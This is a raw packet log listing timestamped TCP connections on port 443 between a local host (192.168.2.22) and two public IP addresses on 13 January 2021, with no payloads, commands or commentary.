Jan 13, 2021 13:44:33.165860891 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.165894985 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.165920973 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.165981054 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.166032076 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.166038990 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.166043043 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.178503036 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.178642035 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.179234028 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.179272890 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.179351091 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.182797909 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.183564901 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.184171915 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.184269905 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.225799084 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.274286032 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.274385929 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.277040005 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.325014114 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.326812983 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.665745020 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.713784933 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.713993073 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.714121103 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.725003958 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.778187990 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.875482082 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:34.925807953 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.926485062 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.926508904 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.926523924 CET	443	49181	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:34.926856995 CET	49181	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:40.276818037 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.283919096 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.329796076 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:40.330347061 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.346745014 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.392707109 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:40.395031929 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:40.395072937 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:40.395209074 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.403716087 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.449765921 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:40.450640917 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:40.650784969 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.797399998 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:40.843458891 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.053149939 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.094466925 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094523907 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094568968 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094594955 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094681978 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094708920 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094718933 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.094748020 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094774008 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.094784975 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094963074 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.094994068 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.095000029 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.095467091 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.095499039 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.095505953 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.095623016 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.098479033 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.098588943 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.098675013 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.100310087 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.100352049 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.100389004 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.100426912 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.100455046 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.100469112 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.100581884 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.100936890 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.100979090 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.101033926 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.102163076 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.102214098 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.102288008 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.103347063 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.103393078 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.104451895 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.104492903 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.104506016 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.104764938 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.104805946 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.104806900 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.104919910 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.105264902 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.105304003 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.105397940 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.108010054 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.153963089 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.158817053 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.158859015 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.161290884 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.171478987 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.194505930 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.194540024 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.194871902 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.194897890 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.194901943 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.195225000 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.195260048 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.195310116 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.195472956 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.196551085 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.196592093 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.196863890 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.197437048 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.197508097 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.197552919 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.198540926 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.198584080 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.198754072 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.199744940 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.199783087 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.199862957 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.200866938 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.200908899 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.200999022 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.202061892 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.202100992 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.202841997 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.202877045 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.202883005 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.202922106 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.202948093 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.202959061 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.203743935 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.204961061 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.205123901 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.205332041 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.207149982 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.207190037 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.207276106 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.207777977 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.207825899 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.207981110 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.208311081 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.208369017 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.208576918 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.219624996 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.219961882 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.296825886 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.296886921 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.296924114 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.296952963 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.296998978 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.297530890 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.297571898 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.297604084 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.298739910 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.298780918 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.298839092 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.299909115 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.299949884 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.300506115 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.300548077 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.300576925 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.300585032 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.300623894 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.300648928 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.303463936 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.303514957 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.303519964 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.304887056 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.305068016 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.305109978 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.305535078 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.305577993 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.305628061 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.306529045 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.306567907 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.306777954 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.307157040 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.307197094 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.308502913 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.308552980 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.308594942 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.309603930 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.309647083 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.309690952 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.310293913 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.310336113 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.310372114 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.310612917 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.310655117 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.310686111 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.311561108 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.311604977 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.311724901 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.314852953 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.314892054 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.315521002 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.315937042 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.315979004 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.316041946 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.316183090 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.316222906 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.316277981 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.317154884 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.317197084 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.318375111 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.318413019 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.318414927 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.318909883 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.319605112 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.319647074 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.319817066 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.320441961 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.320485115 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.321016073 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.321054935 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.322392941 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.345295906 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.345341921 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.345462084 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.346014977 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.346065044 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.346247911 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.346771955 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.346817970 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.346986055 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.347696066 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.347739935 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.347867012 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.348058939 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.348579884 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.348623991 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.350745916 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.350852966 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.350898981 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.350927114 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.351780891 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.351828098 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.351865053 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.351900101 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.351912975 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.352179050 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.352744102 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.352874994 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.353111982 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.353676081 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.353789091 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.353914976 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.354837894 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.354932070 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.354999065 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.355895042 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.356009960 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.356940031 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.357008934 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.357122898 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.357213020 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.361188889 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.361238003 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.361285925 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.361329079 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.361368895 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.361443043 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.362087011 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.362572908 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.362633944 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.362816095 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.363779068 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.363820076 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.363899946 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.364900112 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.364944935 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.366034985 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.366034985 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.366080046 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.366230011 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.366234064 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.366275072 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.366471052 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.366750002 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.366790056 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.367407084 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.386850119 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.386904955 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.386980057 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.387223959 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.387299061 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.387475967 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.387515068 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.387550116 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.392733097 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.392781973 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.393130064 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.393174887 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.393219948 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.394212961 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.394265890 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.394752979 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.394936085 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.394979954 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.395046949 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.397806883 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.397860050 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.397901058 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.397937059 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.397950888 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.397977114 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.398015022 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.398163080 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.398351908 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.398503065 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.398823977 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.398988962 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.399164915 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.399483919 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.402256966 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.402301073 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.402407885 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.403031111 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.403172970 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.404006004 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.404051065 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.404083967 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.404459953 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.404489040 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.404511929 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.408296108 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.408325911 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.408355951 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.408368111 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.408382893 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.408749104 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.408824921 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.408986092 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.410497904 CET	49183	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:41.411143064 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.411232948 CET	443	49183	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:41.411442995 CET	49183	443	192.168.2.22	104.18.49.20
